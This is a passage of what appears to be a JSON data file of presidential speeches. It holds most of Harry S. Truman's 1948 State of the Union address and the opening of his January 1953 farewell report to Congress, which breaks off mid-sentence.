+    "speech": "Mr. President, Mr. Speaker, and Members of the 80th Congress:We are here today to consider the state of the Union.On this occasion, above all others, the Congress and the President should\nconcentrate their attention, not upon party but upon the country; not upon\nthings which divide us but upon those which bind us together--the enduring\nprinciples of our American system, and our common aspirations for the\nfuture welfare and security of the people of the United States.The United States has become great because [p.2] we, as a people, have been\nable to work together for great objectives even while differing about\ndetails.The elements of our strength are many. They include our democratic\ngovernment, our economic system, our great natural resources. But these are\nonly partial explanations.The basic source of our strength is spiritual. For we are a people with a\nfaith. We believe in the dignity of man. We believe that he was created in\nthe image of the Father of us all.We do not believe that men exist merely to strengthen the state or to be\ncogs in the economic machine. We do believe that governments are created to\nserve the people and that economic systems exist to minister to their\nwants. We have a profound devotion to the welfare and rights of the\nindividual as a human being.The faith of our people has particular meaning at this time in history\nbecause of the unsettled and changing state of the world.The victims of war in many lands are striving to rebuild their lives, and\nare seeking assurance that the tragedy of war will not occur again.\nThroughout the world new ideas are challenging the old. Men of all nations\nare reexamining the beliefs by which they live. Great scientific and\nindustrial changes have released new forces which will affect the future\ncourse of civilization.The state of our Union reflects the changing nature of the modern world. On\nall sides there is heartening evidence of great energy--of capacity for\neconomic development-and even more important, capacity for spiritual\ngrowth. But accompanying this great activity there are equally great\nquestions, great anxieties, and great aspirations. They represent the\nconcern of an enlightened people that conditions should be so arranged as\nto make life more worthwhile.We must devote ourselves to finding answers to these anxieties and\naspirations. We seek answers which will embody the moral and spiritual\nelements of tolerance, unselfishness, and brotherhood upon which true\nfreedom and opportunity must rest.As we examine the state of our Union today, we can benefit from viewing it\non a basis of the accomplishments of the last decade and of our goals for\nthe next. How far have we come during the last 10 years and how far can we\ngo in the next 10?It was 10 years ago that the determination of dictators to wage war upon\nmankind became apparent. The years that followed brought untold death and\ndestruction.We shared in the human suffering of the war, but we were fortunate enough\nto escape most of war's destruction. We were able through these 10 years to\nexpand the productive strength of our farms and factories.More important, however, is the fact that these years brought us new\ncourage, new confidence in the ideals of our free democracy. Our deep\nbelief in freedom and justice was reinforced in the crucible of war.On the foundations of our greatly strengthened economy and our renewed\nconfidence in democratic values, we can continue to move forward.There are some who look with fear and distrust upon planning for the\nfuture. Yet our great national achievements have been attained by those\nwith vision. Our Union was formed, our frontiers were pushed back, and our\ngreat industries were built by men who looked ahead.I propose that we look ahead today toward those goals for the future which\nhave the greatest bearing upon the foundations of our democracy and the\nhappiness of our people.I do so, confident in the thought that with clear objectives and with firm\ndetermination, we can, in the next 10 years, build upon the [p.3]\naccomplishments of the past decade to achieve a glorious future. Year by\nyear, beginning now, we must make a substantial part of this progress.Our first goal is to secure fully the essential human rights of our\ncitizens.The United States has always had a deep concern for human rights. Religious\nfreedom, free speech, and freedom of thought are cherished realities in our\nland. Any denial of human rights is a denial of the basic beliefs of\ndemocracy and of our regard for the worth of each individual.Today, however, some of our citizens are still denied equal opportunity for\neducation, for jobs and economic advancement, and for the expression of\ntheir views at the polls. Most serious of all, some are denied equal\nprotection under laws. Whether discrimination is based on race, or creed,\nor color, or land of origin, it is utterly contrary to American ideals of\ndemocracy.The recent report of the President's Committee on Civil Rights points the\nway to corrective action by the Federal Government and by State and local\ngovernments. Because of the need for effective Federal action, I shall send\na special message to the Congress on this important subject.We should also consider our obligation to assure the fullest possible\nmeasure of civil rights to the people of our territories and possessions. I\nbelieve that the time has come for Alaska and Hawaii to be admitted to the\nUnion as States.Our second goal is to protect and develop our human resources.The safeguarding of the rights of our citizens must be accompanied by an\nequal regard for their opportunities for development and their protection\nfrom economic insecurity. In this Nation the ideals of freedom and equality\ncan be given specific meaning in terms of health, education, social\nsecurity, and housing.Over the past 12 years we have erected a sound framework of social security\nlegislation. Many millions of our citizens are now protected against the\nloss of income which can come with unemployment, old age, or the death of\nwage earners. Yet our system has gaps and inconsistencies; it is only half\nfinished.We should now extend unemployment compensation, old age benefits, and\nsurvivors' benefits to millions who are not now protected. We should also\nraise the level of benefits.The greatest gap in our social security structure is the lack of adequate\nprovision for the Nation's health. We are rightly proud of the high\nstandards of medical care we know how to provide in the United States. The\nfact is, however, that most of our people cannot afford to pay for the care\nthey need.I have often and strongly urged that this condition demands a national\nhealth program. The heart of the program must be a national system of\npayment for medical care based on well-tried insurance principles. This\ngreat Nation cannot afford to allow its citizens to suffer needlessly from\nthe lack of proper medical care.Our ultimate aim must be a comprehensive insurance system to protect all\nour people equally against insecurity and ill health.Another fundamental aim of our democracy is to provide an adequate\neducation for every person.Our educational systems face a financial crisis. It is deplorable that in a\nNation as rich as ours there are millions of children who do not have\nadequate schoolhouses or enough teachers for a good elementary or secondary\neducation. If there are educational inadequacies in any State, the whole\nNation suffers. The Federal Government has a responsibility for providing\nfinancial aid to meet this crisis.In addition, we must make possible greater equality of opportunity to all\nour citizens for education. Only by so doing can we insure that our\ncitizens will be capable of understanding and sharing the responsibilities\nof democracy.The Government's programs for health, education, and security are of such\ngreat importance to our democracy that we should now establish an executive\ndepartment for their administration.Health and education have their beginning in the home. No matter what our\nhospitals or schools are like, the youth of our Nation are handicapped when\nmillions of them live in city slums and country shacks. Within the next\ndecade, we must see that every American family has a decent home. As an\nimmediate step we need the long-range housing program which I have\nrecommended on many occasions to this Congress. This should include\nfinancial aids designed to yield more housing at lower prices. It should\nprovide public housing for low-income families, and vigorous development of\nnew techniques to lower the cost of building.Until we can overcome the present drastic housing shortage, we must extend\nand strengthen rent control.We have had, and shall continue to have, a special interest in the welfare\nof our veterans. Over 14 million men and women who served in the armed\nforces in World War II have now returned to civilian life. Over 2 million\nveterans are being helped through school. Millions have been aided while\nfinding jobs, and have been helped in buying homes, in obtaining medical\ncare, and in adjusting themselves to physical handicaps.All but a very few veterans have successfully made the transition from\nmilitary life to their home communities. The success of our veterans'\nprogram is proved by this fact. This Nation is proud of the eagerness shown\nby our veterans to become self-reliant and self-supporting citizens.Our third goal is to conserve and use our natural resources so that they\ncan contribute most effectively to the welfare of our people.The resources given by nature to this country are rich and extensive. The\nmaterial foundations of our growth and economic development are the bounty\nof our fields, the wealth of our mines and forests, and the energy of our\nwaters. As a Nation, we are coming to appreciate more each day the dose\nrelationship between the conservation of these resources and the\npreservation of our national strength.We are doing far less than we know how to do to make use of our resources\nwithout destroying them. Both the public and private use of these resources\nmust have the primary objective of maintaining and increasing these basic\nsupports for an expanding future.We must continue to take specific steps toward this goal. We must\nvigorously defend our natural wealth against those who would misuse it for\nselfish gain.We need accurate and comprehensive knowledge of our mineral resources and\nmust intensify our efforts to develop new supplies and to acquire\nstockpiles of scarce materials.We need to protect and restore our land-public and private--through\ncombating erosion and rebuilding the fertility of the soil.We must expand our reclamation program to bring millions of acres of arid\nland into production, and to improve water supplies for additional millions\nof acres. This will provide new opportunities for veterans and others,\nparticularly in the West, and aid in providing a rising living standard for\na growing population.We must protect and restore our forests by sustained-yield forestry and by\nplanting [p.5] new trees in areas now slashed and barren.We must continue to erect multiple-purpose dams on our great rivers--not\nonly to reclaim land, but also to prevent floods, to extend our inland\nwaterways and to provide hydroelectric power. This public power must not be\nmonopolized for private gain. Only through well-established policies of\ntransmitting power directly to its market and thus encouraging widespread\nuse at low rates can the Federal Government assure the people of their full\nshare of its benefits. Additional power--public and private--is needed to\nraise the ceilings now imposed by power shortages on industrial and\nagricultural development.We should achieve the wise use of resources through the integrated\ndevelopment of our great river basins. We can learn much from our Tennessee\nValley experience. We should no longer delay in applying the lessons of\nthat vast undertaking to our other great river basins.Our fourth goal is to lift the standard of living for all our people by\nstrengthening our economic system and sharing more broadly among our people\nthe goods we produce.The amazing economic progress of the past 10 years points the way for the\nnext 10.Today 14 million more people have jobs than in 1938.Our yearly output of goods and services has increased by two-thirds.The average income of our people, measured in dollars of equal purchasing\npower, has increased--after taxes--by more than 50 percent.In no other 10 years have farmers, businessmen, and wage earners made such\ngreat gains.We may not be able to expand as rapidly in the next decade as in the last,\nbecause we are now starting from full employment and very high production.\nBut we can increase our annual output by at least one-third above the\npresent level. We can lift our standard of living to nearly double what it\nwas 10 years ago.If we distribute these gains properly, we can go far toward stamping out\npoverty in our generation.To do this, agriculture, business, and labor must move forward together.Permanent farm prosperity and agricultural abundance will be achieved only\nas our whole economy grows and prospers. The farmer can sell more food at\ngood prices when the incomes of wage earners are high and when there is\nfull employment. Adequate diets for every American family, and the needs of\nour industries at full production, will absorb a farm output well above our\npresent levels.Although the average farmer is now better off than ever before, farm\nfamilies as a whole have only begun to catch up with the standards of\nliving enjoyed in the cities. In 1946, the average income of farm people\nwas $779, contrasted with an average income of $1,288 for nonfarm people.\nWithin the next decade, we should eliminate elements of inequality in these\nliving standards.To this end our farm program should enable the farmer to market his varied\ncrops at fair price levels and to improve his standard of living.We need to continue price supports for major farm commodities on a basis\nwhich will afford reasonable protection against fluctuations in the levels\nof production and demand. The present price support program must be\nreexamined and modernized.Crop insurance should be strengthened and its benefits extended in order to\nprotect the farmer against the special hazards to which he is subject.We also need to improve the means for getting farm products into markets\nand into the hands of consumers. Cooperatives which [p.6] directly or\nindirectly serve this purpose must be encouraged--not discouraged. The\nschool lunch program should be continued and adequately financed.We need to go forward with the rural electrification program to bring the\nbenefits of electricity to all our farm population.We can, and must, aid and encourage farmers to conserve their soil\nresources and restore the fertility of the land that has suffered from\nneglect or unwise use.All these are practical measures upon which we should act immediately to\nenable agriculture to make its full contribution to our prosperity.We must also strengthen our economic system within the next decade by\nenlarging our industrial capacity within the framework of our free\nenterprise system.We are today far short of the industrial capacity we need for a growing\nfuture. At least $50 billion should be invested by industry to improve and\nexpand our productive facilities over the next few years. But this is only\nthe beginning. The industrial application of atomic energy and other\nscientific advances will constantly open up further opportunities for\nexpansion. Farm prosperity and high employment will call for an immensely\nincreased output of goods and services.Growth and vitality in our economy depend on vigorous private enterprise.\nFree competition is the key to industrial development, full production and\nemployment, fair prices, and an ever improving standard of living.\nCompetition is seriously limited today in many industries by the\nconcentration of economic power and other elements of monopoly. The\nappropriation of sufficient funds to permit proper enforcement of the\npresent antitrust laws is essential. Beyond that we should go on to\nstrengthen our legislation to protect competition.Another basic element of a strong economic system is the well-being of the\nwage earners.We have learned that the well-being of workers depends on high production\nand consequent high employment. We have learned equally well that the\nwelfare of industry and agriculture depends on high incomes for our\nworkers.The Government has wisely chosen to set a floor under wages. But our\n40-cent minimum wage is inadequate and obsolete. I recommend the lifting of\nthe minimum wage to 75 cents an hour.In general, however, we must continue to rely on our sound system of\ncollective bargaining to set wage scales. Workers' incomes should increase\nat a rate consistent with the maintenance of sound price, profit, and wage\nrelationships and with increase of productivity.The Government's part in labor-management relations is now largely\ncontrolled by the terms of the Labor-Management Relations Act of 1947. I\nmade my attitude clear on this act in my veto message to the Congress last\nJune. Nothing has occurred since to change my opinion of this law. As long\nas it remains the law of the land, however, I shall carry out my\nconstitutional duty and administer it.As we look ahead we can understand the crucial importance of restraint and\nwisdom in arriving at new labor-management contracts. Work stoppages would\nresult in a loss of production--a loss which could bring higher prices for\nour citizens and could also deny the necessities of life to the\nhard-pressed peoples of other lands. It is my sincere hope that the\nrepresentatives of labor and of industry will bear in mind that the Nation\nas a whole has a vital stake in the success of their bargaining efforts.If we surmount our current economic difficulties, we can move ahead to a\ngreat increase [p.7] in our national income which will enable all our\npeople to enjoy richer and fuller lives.All of us must advance together. One-fifth of our families now have average\nannual incomes of less than $850. We must see that our gains in national\nincome are made more largely available to those with low incomes, whose\nneed is greatest. This will benefit us all through providing a stable\nfoundation of buying power to maintain prosperity.Business, labor, agriculture, and Government, working together, must\ndevelop the policies which will make possible the realization of the full\nbenefits of our economic system.Our fifth goal is to achieve world peace based on principles of freedom and\njustice and the equality of all nations.Twice within our generation, world wars have taught us that we cannot\nisolate ourselves from the rest of the world.We have learned that the loss of freedom in any area of the world means a\nloss of freedom to ourselves--that the loss of independence by any nation\nadds directly to the insecurity of the United States and all free nations.We have learned that a healthy world economy is essential to world\npeace--that economic distress is a disease whose evil effects spread far\nbeyond the boundaries of the afflicted nation.For these reasons the United States is vigorously following policies\ndesigned to achieve a peaceful and prosperous world.We are giving, and will continue to give, our full support to the United\nNations. While that organization has encountered unforeseen and unwelcome\ndifficulties, I am confident of its ultimate success. We are also devoting\nour efforts toward world economic recovery and the revival of world trade.\nThese actions are closely related and mutually supporting.We believe that the United States can be an effective force for world peace\nonly if it is strong. We look forward to the day when nations will decrease\ntheir armaments. Yet so long as there remains serious opposition to the\nideals of a peaceful world, we must maintain strong armed forces.The passage of the National Security Act by the Congress at its last\nsession was a notable step in providing for the security of this country. A\nfurther step which I consider of even greater importance is the early\nprovision for universal training. There are many elements in a balanced\nnational security program, all interrelated and necessary, but universal\ntraining should be the foundation for them all. A favorable decision by the\nCongress at an early date is of world importance. I am convinced that such\naction is vital to the security of this Nation and to the maintenance of\nits leadership.The United States is engaged today in many international activities\ndirected toward the creation of lasting peaceful relationships among\nnations.We have been giving substantial aid to Greece and Turkey to assist those\nnations in preserving their integrity against foreign pressures. Had it not\nbeen for our aid, their situation today might well be radically different.\nThe continued integrity of those countries will have a powerful effect upon\nother nations in the Middle East and in Europe struggling to maintain their\nindependence while they repair the damages of war.The United States has special responsibilities with respect to the\ncountries in which we have occupation forces: Germany, Austria, Japan, and\nKorea. Our efforts to reach agreements on peace settlements for these\ncountries have so far been blocked. But we [p.8] shall continue to exert\nour utmost efforts to obtain satisfactory settlements for each of these\nnations.Many thousands of displaced persons, still living in camps overseas, should\nbe allowed entry into the United States. I again urge the Congress to pass\nsuitable legislation at once so that this Nation may do its share in caring\nfor the homeless and suffering refugees of all faiths. I believe that the\nadmission of these persons will add to the strength and energy of this\nNation.We are moving toward our goal of world peace in many ways. But the most\nimportant efforts which we are now making are those which support world\neconomic reconstruction. We are seeking to restore the world trading system\nwhich was shattered by the war and to remedy the economic paralysis which\ngrips many countries.To restore world trade we have recently taken the lead in bringing about\nthe greatest reduction of world tariffs that the world has ever seen. The\nextension of the provisions of the Reciprocal Trade Agreements Act, which\nmade this achievement possible, is of extreme importance. We must also go\non to support the International Trade Organization, through which we hope\nto obtain worldwide agreement on a code of fair conduct in international\ntrade.Our present major effort toward economic reconstruction is to support the\nprogram for recovery developed by the countries of Europe. In my recent\nmessage to the Congress, I outlined the reasons why it is wise and\nnecessary for the United States to extend this support.I want to reaffirm my belief in the soundness and the promise of this\nproposal. When the European economy is strengthened, the product of its\nindustry will be of benefit to many other areas of economic distress. The\nability of free men to overcome hunger and despair will be a moral stimulus\nto the entire world.We intend to work also with other nations in achieving world economic\nrecovery. We shall continue our cooperation with the nations of the Western\nHemisphere. A special program of assistance to China, to provide urgent\nrelief needs and to speed reconstruction, will be submitted to the\nCongress.Unfortunately, not all governments share the hope of the people of the\nUnited States that economic reconstruction in many areas of the world can\nbe achieved through cooperative effort among nations. In spite of these\ndifferences we will go forward with our efforts to overcome economic\nparalysis.No nation by itself can carry these programs to success; they depend upon\nthe cooperative and honest efforts of all participating countries. Yet the\nleadership is inevitably ours.I consider it of the highest importance that the Congress should authorize\nsupport for the European recovery program for the period from April 1,\n1948, to June 30, 1952, with an initial amount for the first 15 months of\n$6.8 billion. I urge the Congress to act promptly on this vital measure of\nour foreign policy--on this decisive contribution to world peace.We are following a sound, constructive, and practical course in carrying\nout our determination to achieve peace.We are fighting poverty, hunger, and suffering.This leads to peace--not war.We are building toward a world where all nations, large and small alike,\nmay live free from the fear of aggression. This leads to peace--not war.Above all else, we are striving to achieve a concord among the peoples of\nthe world based upon the dignity of the individual and the brotherhood of\nman.This leads to peace--not war.We can go forward with confidence that we are following sound policies,\nboth at home and with other nations, which will lead us toward our great\ngoals for economic, social and moral achievement.As we enter the new year, we must surmount one major problem which affects\nall our goals. That is the problem of inflation.Already inflation in this country is undermining the living standards of\nmillions of families. Food costs too much. Housing has reached fantastic\nprice levels. Schools and hospitals are in financial distress. Inflation\nthreatens to bring on disagreement and strife between labor and\nmanagement.Worst of all, inflation holds the threat of another depression, just as we\nhad a depression after the unstable boom following the First World War.When I announced last October that the Congress was being called into\nsession, I described the price increases which had taken place since June\n1946. Wholesale prices had increased 40 percent; retail prices had\nincreased 23 percent.Since October prices have continued to rise. Wholesale prices have gone up\nat an annual rate of 18 percent. Retail prices have gone up at an annual\nrate of 10 percent.The events which have occurred since I presented my 10-point anti-inflation\nprogram to the Congress in November have made it even clearer that all 10\npoints are essential.High prices must not be our means of rationing.We must deal effectively and at once with the high cost of living.We must stop the spiral of inflation.I trust that within the shortest possible time the Congress will make\navailable to the Government the weapons that are so desperately needed in\nthe fight against inflation.One of the most powerful anti-inflationary factors in our economy today is\nthe excess of Government revenues over expenditures.Government expenditures have been and must continue to be held at the\nlowest safe levels. Since V-J day Federal expenditures have been sharply\nreduced. They have been cut from more than $63 billion in the fiscal year\n1946 to less than $38 billion in the present fiscal year. The number of\ncivilian employees has been cut nearly in half--from 3 3/4 million down to\n2 million.On the other hand, Government revenues must not be reduced. Until inflation\nhas been stopped there should be no cut in taxes that is not offset by\nadditions at another point in our tax structure.Certain adjustments should be made within our existing tax structure that\nwill not affect total receipts, yet will adjust the tax burden so that\nthose least able to pay will have their burden lessened by the transfer of\na portion of it to those best able to pay.Many of our families today are suffering hardship because of the high cost\nof living. At the same time profits of corporations have reached an\nall-time record in 1947. Corporate profits total $17 billion after taxes.\nThis compared with $12.5 billion in 1946, the previous high year.Because of this extraordinarily high level of profits, corporations can\nwell afford to carry a larger share of the taxload at this time.During this period in which the high cost of living is bearing down on so\nmany of our families, tax adjustments should be made to ease their burden.\nThe low-income group particularly is being pressed very hard. To this group\na tax adjustment would result in a saving that could be used to buy the\nnecessities of life.I recommend therefore that, effective January 1, 1948, a cost of living tax\ncredit be extended to our people consisting of a credit of $40 to each\nindividual taxpayer and an additional credit of $40 for each dependent.\n[p.10] Thus the income tax of a man with a wife and two children would be\nreduced $160. The credit would be extended to all taxpayers, but it would\nbe particularly helpful to those in the low-income group.It is estimated that such a tax credit would reduce Federal revenue by $3.2\nbillion. This reduction should be made up by increasing the tax on\ncorporate profits in an amount that will produce this sum--with appropriate\nadjustments for small corporations.This is the proper method of tax relief at this time. It gives relief to\nthose who need it most without cutting the total tax revenue of the\nGovernment.When the present danger of inflation has passed we should consider tax\nreduction based upon a revision of our entire tax structure.When we have conquered inflation, we shall be in a position to move forward\ntoward our chosen goals.As we do so, let us keep ever before us our high purposes. We are\ndetermined that every citizen of this Nation shall have an equal right and\nan equal opportunity to grow in wisdom and in stature and to take his place\nin the control of his Nation's destiny.We are determined that the productive resources of this Nation shall be\nused wisely and fully for the benefit of all.We are determined that the democratic faith of our people and the strength\nof our resources shall contribute their full share to the attainment of\nenduring peace in the world.It is our faith in human dignity that underlies these purposes. It is this\nfaith that keeps us a strong and vital people.This is a time to remind ourselves of these fundamentals. For today the\nwhole world looks to us for leadership.This is the hour to rededicate ourselves to the faith in mankind that makes\nus strong.This is the hour to rededicate ourselves to the faith in God that gives us\nconfidence as we face the challenge of the years ahead.", 
+    "name": "Harry S. Truman"
+}
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+{
+    "date": "January 7, 1953", 
+    "speech": "To the Congress of the United States:I have the honor to report to the Congress on the state of the Union.This is the eighth such report that, as President, I have been privileged\nto present to you and to the country. On previous occasions, it has been my\ncustom to set forth proposals for legislative action in the coming year.\nBut that is not my purpose today. The presentation of a legislative program\nfalls properly to my successor, not to me, and I would not infringe upon\nhis responsibility to chart the forward course. Instead, I wish to speak of\nthe course we have been following the past eight years and the position at\nwhich we have arrived.In just two weeks, General Eisenhower will be inaugurated as President of\nthe United States and I will resume--most gladly--my place as a private\ncitizen of this Republic. The Presidency last changed hands eight years ago\nthis coming April. That was a tragic time: a time of grieving for President\nRoosevelt--the great and gallant human being who had been taken from us; a\ntime of unrelieved anxiety to his successor, thrust so suddenly into the\ncomplexities and burdens of the Presidential office.Not so this time. This time we see the normal transition under our\ndemocratic system. One President, at the conclusion of his term, steps back\nto private life; his successor, chosen by the people, begins his tenure of\nthe office. And the Presidency of the United States continues to function\nwithout a moment's break.Since the election, I have done my best to assure that the transfer from\none Administration to another shall be smooth and orderly. From General\nEisenhower and his associates, I have had friendly and understanding\ncollaboration in this endeavor. I have not sought to thrust upon him--nor\nhas he sought to take--the responsibility which must be mine until twelve\no'clock noon on January twentieth. But together, I hope and believe we have\nfound means whereby the incoming President can obtain the full and detailed\ninformation he will need to assume the responsibility the moment he takes\nthe oath of office.The President-elect is about to take up the greatest burdens, the most\ncompelling responsibilities, given to any man. And I, with you and all\nAmericans, wish for him all possible success in undertaking the tasks that\nwill so soon be his.What are these tasks? The President is Chief of State, elected\nrepresentative of all the people, national spokesman for them and to them.\nHe is Commander-in-Chief of our armed forces. He is charged with the\nconduct of our foreign relations. He is Chief Executive of the Nation's\nlargest civilian organization. He must select and nominate all top\nofficials of the Executive Branch and all Federal judges. And on the\nlegislative side, he has the obligation and the opportunity to recommend,\nand to approve or veto legislation. Besides all this, it is to him that a\ngreat political party turns naturally for leadership, and that, too, he\nmust provide as President.This bundle of burdens is unique; there is nothing else like it on the face\nof the earth. Each task could be a full-time job. Together, they would be a\ntremendous undertaking in the easiest of times.But our times are not easy; they are hard-as hard and complex, perhaps as\nany in our history. Now, the President not only has to carry on these tasks\nin such a way that our democracy may grow and flourish and our people\nprosper, but he also has to lead the whole free world in overcoming the\ncommunist menace--and all this under the shadow of the atomic bomb.This is a huge challenge to the human being who occupies the Presidential\noffice. But it is not a challenge to him alone, for in reality he cannot\nmeet it alone. The challenge runs not just to him but to his whole\nAdministration, to the Congress, to the country.Ultimately, no President can master his responsibilities, save as his\nfellow citizens-indeed, the whole people--comprehend the challenge of our\ntimes and move, with him, to meet it.It has been my privilege to hold the Presidential office for nearly eight\nyears now, and much has been done in which I take great pride. But this is\nnot personal pride. It is pride in the people, in the Nation. It is pride\nin our political system and our form of government--balky sometimes,\nmechanically deficient perhaps, in many ways--but enormously alive and\nvigorous; able through these years to keep the Republic on the right\ncourse, rising to the great occasions, accomplishing the essentials,\nmeeting the basic challenge of our times.There have been misunderstandings and controversies these past eight years,\nbut through it all the President of the United States has had that measure\nof support and understanding without which no man could sustain the burdens\nof the Presidential office, or hope to discharge its responsibilities.For this I am profoundly grateful--grateful to my associates in the\nExecutive Branch--most of them non-partisan civil servants;\ngrateful--despite our disagreements-to the Members of the Congress on both\nsides of the aisle; grateful especially to the American people, the\ncitizens of this Republic, governors of us all.We are still so close to recent controversies that some of us may find it\nhard to understand the accomplishments of these past eight years. But the\naccomplishments are real and very great, not as the President's, not as the\nCongress', but as the achievements of our country and all the people in\nit.Let me remind you of some of the things we have done since I first assumed\nmy duties as President of the United States.I took the oath of office on April 12, 1945. In May of that same year, the\nNazis surrendered. Then, in July, that great white flash of light, man-made\nat Alamogordo, heralded swift and final victory in World War II--and opened\nthe doorway to the atomic age.Consider some of the great questions that were posed for us by sudden,\ntotal victory in World War II. Consider also, how well we as a Nation have\nresponded.Would the American economy collapse, after the war? That was one question.\nWould there be another depression here--a repetition of 1921 or 1929? The\nfree world feared and dreaded it. The communists hoped for it and built\ntheir policies upon that hope.We answered that question--answered it with a resounding \"no.\"Our economy has grown tremendously. Free enterprise has flourished as never\nfore. Sixty-two million people are now gainfully employed, compared with 51\nmillion seven years ago. Private businessmen and farmers have invested more\nthan 200 billion dollars in new plant and equipment since the end of World\nWar II. Prices have risen further than they should have done--but incomes,\nby and large, have risen even more, so that real living standards are now\nconsiderably higher than seven years ago. Aided by sound government\npolicies, our expanding economy has shown the strength and flexibility for\nswift and almost painless reconversion from war to peace, in 1945 and 1946;\nfor quick reaction and recovery--well before Korea--from the beginnings of\nrecession in 1949. Above all, this live and vital economy of ours has now\nshown the remarkable capacity to sustain a great mobilization program for\ndefense, a vast outpouring of aid to friends and allies all around the\nworld--and still to produce more goods and services for peaceful use at\nhome than we have ever known before.This has been our answer, up to now, to those who feared or hoped for a\ndepression in this country.How have we handled our national finances? That was another question\narising at war's end. In the administration of the Government, no problem\ntakes more of the President's time, year in and year out, than fashioning\nthe Budget, and the related problem of managing the public debt.Financing World War II left us with a tremendous public debt, which reached\n279 billion dollars at its peak in February, 1946.Beginning in July, 1946, when war and reconversion financing had ended, we\nhave held quite closely to the sound standard that in times of high\nemployment and high national income, the Federal Budget should be balanced\nand the debt reduced.For the four fiscal years from July 1, 1946, to June 30, 1950, we had a net\nsurplus of 4.3 billion dollars. Using this surplus, and the Treasury's\nexcess cash reserves, the debt was reduced substantially, reaching a low\npoint of 251 billion dollars in June, 1949, and ending up at 257 billion\ndollars on June 30, 1950.In July of 1950, we began our rapid rearmament, and for two years held very\nclose to a pay-as-we-go policy. But in the current fiscal year and the\nnext, rising expenditures for defense will substantially outrun receipts.\nThis will pose an immediate and serious problem for the new Congress.Now let me turn to another question we faced at the war's end. Would we\ntake up again, and carry forward, the great projects of social welfare--so\nbadly needed, so long overdue--that the New Deal had introduced into our\nnational life? Would our Government continue to have a heart for the\npeople, or was the progress of the New Deal to be halted in the aftermath\nof war as decisively as the progress of Woodrow Wilson's New Freedom had\nbeen halted after the first world war?This question, too, we have answered. We have answered it by doubling old\nage insurance benefits and extending coverage to ten million more people.\nWe have answered it by increasing our minimum wage. We have answered by the\nthree million privately constructed homes that the Federal Government has\nhelped finance since the war--and the 155 thousand units of low rent public\nhousing placed under construction since 1949.We have answered with the 42 thousand new hospital beds provided since 1946\nthrough the joint efforts of the Federal Government and local communities.We have answered by helping eight million veterans of World War II to\nobtain advanced education, 196 thousand to start in business, and 64\nthousand to buy farms.We have answered by continuing to help farmers obtain electric power, until\ntoday nearly 90 per cent of our farms have power line electric service.In these and other ways, we have demonstrated, up to now, that our\ndemocracy has not forgotten how to use the powers of the Government to\npromote the people's welfare and security.Another of the big post-war questions was this: What we would do with the\nNation's natural resources--its soils and water, forests and grasslands.\nWould we continue the strong conservation movement of the 1930's, or would\nwe, as we did after the First World War, slip back into the practices of\nmonopoly, exploitation, and waste?The answer is plain. All across our country, the soil conservation movement\nhas spread, aided by Government programs, enriching private and public\nlands, preserving them from destruction, improving them for future use. In\nour river basins, we have invested nearly 5 billion dollars of public funds\nin the last eight years--invested them in projects to control floods,\nirrigate farmlands, produce low-cost power and get it to the housewives and\nfarmers and businessmen who need it. We have been vigilant in protecting\nthe people's property--lands and forests and oil and minerals.We have had to fight hard against those who would use our resources for\nprivate greed; we have met setbacks; we have had to delay work because of\ndefense priorities, but on the whole we can be proud of our record in\nprotecting our natural heritage, and in using our resources for the public\ngood.Here is another question we had to face at the war's close: Would we\ncontinue, in peace as well as war, to promote equality of opportunity for\nall our citizens, seeking ways and means to guarantee for all of them the\nfull enjoyment of their civil rights?During the war we achieved great economic and social gains for millions of\nour fellow citizens who had been held back by prejudice. Were we prepared,\nin peacetime, to keep on moving toward full realization of the democratic\npromise? Or would we let it be submerged, wiped out, in post-war riots and\nreaction, as after World War I?We answered these questions in a series of forward steps at every level of\ngovernment and in many spheres of private life. In our armed forces, our\ncivil service, our universities, our railway trains, the residential\ndistricts of our cities--in stores and factories all across the Nation--in\nthe polling booths as well--the barriers are coming down. This is\nhappening, in part, at the mandate of the courts; in part, at the\ninsistence of Federal, State and local governments; in part, through the\nenlightened action of private groups and persons in every region and every\nwalk of life.There has been a great awakening of the American conscience on the issues\nof civil rights. And all this progress--still far from complete but still\ncontinuing--has been our answer, up to now, to those who questioned our\nintention to live up to the promises of equal freedom for us all.There was another question posed for us at the war's end, which equally\nconcerned the future course of our democracy: Could the machinery of\ngovernment and politics in this Republic be changed, improved, adapted\nrapidly enough to carry through, responsibly and well, the vast, new\ncomplicated undertakings called for in our time?We have answered this question, too, answered it by tackling the most\nurgent, most specific, problems which the war experience itself had brought\ninto sharp focus. The reorganization of the Congress in 1946; the\nunification of our armed services, beginning in 1947; the closer\nintegration of foreign and military policy through the National Security\nCouncil created that same year; and the Executive reorganizations, before\nand after the Hoover-Acheson Commission Report in 1949--these are landmarks\nin our continuing endeavor to make government an effective instrument of\nservice to the people.I come now to the most vital question of all, the greatest of our concerns:\nCould there be built in the world a durable structure of security, a\nlasting peace for all the nations, or would we drift, as after World War I,\ntoward another terrible disaster--a disaster which this time might be the\nholocaust of atomic war?That is still the overriding question of our time. We cannot know the\nanswer yet; perhaps we will not know it finally for a long time to come.\nBut day and night, these past eight years, we have been building for peace,\nsearching out the way that leads most surely to security and freedom and\njustice in the world for us and all mankind.This, above all else, has been the task of our Republic since the end of\nWorld War II, and our accomplishment so far should give real pride to all\nAmericans. At the very least, a total war has been averted, each day up to\nthis hour. And at the most, we may already have succeeded in establishing\nconditions which can keep that kind of war from happening, for as far ahead\nas man can see.The Second World War radically changed the power relationships of the\nworld. Nations once great were left shattered and weak, channels of\ncommunication, routes of trade, political and economic ties of many kinds\nwere ripped apart.And in this changed, disrupted, chaotic situation, the United States and\nthe Soviet Union emerged as the two strongest powers of the world. Each had\ntremendous human and natural resources, actual or potential, on a scale\nunmatched by any other nation.Nothing could make plainer why the world is in its present state--and how\nthat came to pass--than an understanding of the diametrically opposite\nprinciples and policies of these two great powers in a war-ruined world.For our part, we in this Republic were-and are--free men, heirs of the\nAmerican Revolution, dedicated to the truths of our Declaration of\nIndependence:\"... That all men are created equal, that they are endowed by their Creator\nwith certain unalienable rights... That to secure these rights, governments\nare instituted among men, deriving their just powers from the consent of\nthe governed.\"Our post-war objective has been in keeping with this great idea. The United\nStates has sought to use its pre-eminent position of power to help other\nnations recover from the damage and dislocation of the war. We held out a\nhelping hand to enable them to restore their national lives and to regain\ntheir positions as independent, self-supporting members of the great family\nof nations. This help was given without any attempt on our part to dominate\nor control any nation. We did not want satellites but partners.The Soviet Union, however, took exactly the opposite course.Its rulers saw in the weakened condition of the world not an obligation to\nassist in the great work of reconstruction, but an opportunity to exploit\nmisery and suffering for the extension of their power. Instead of help,\nthey brought subjugation. They extinguished, blotted out, the national\nindependence of the countries that the military operations of 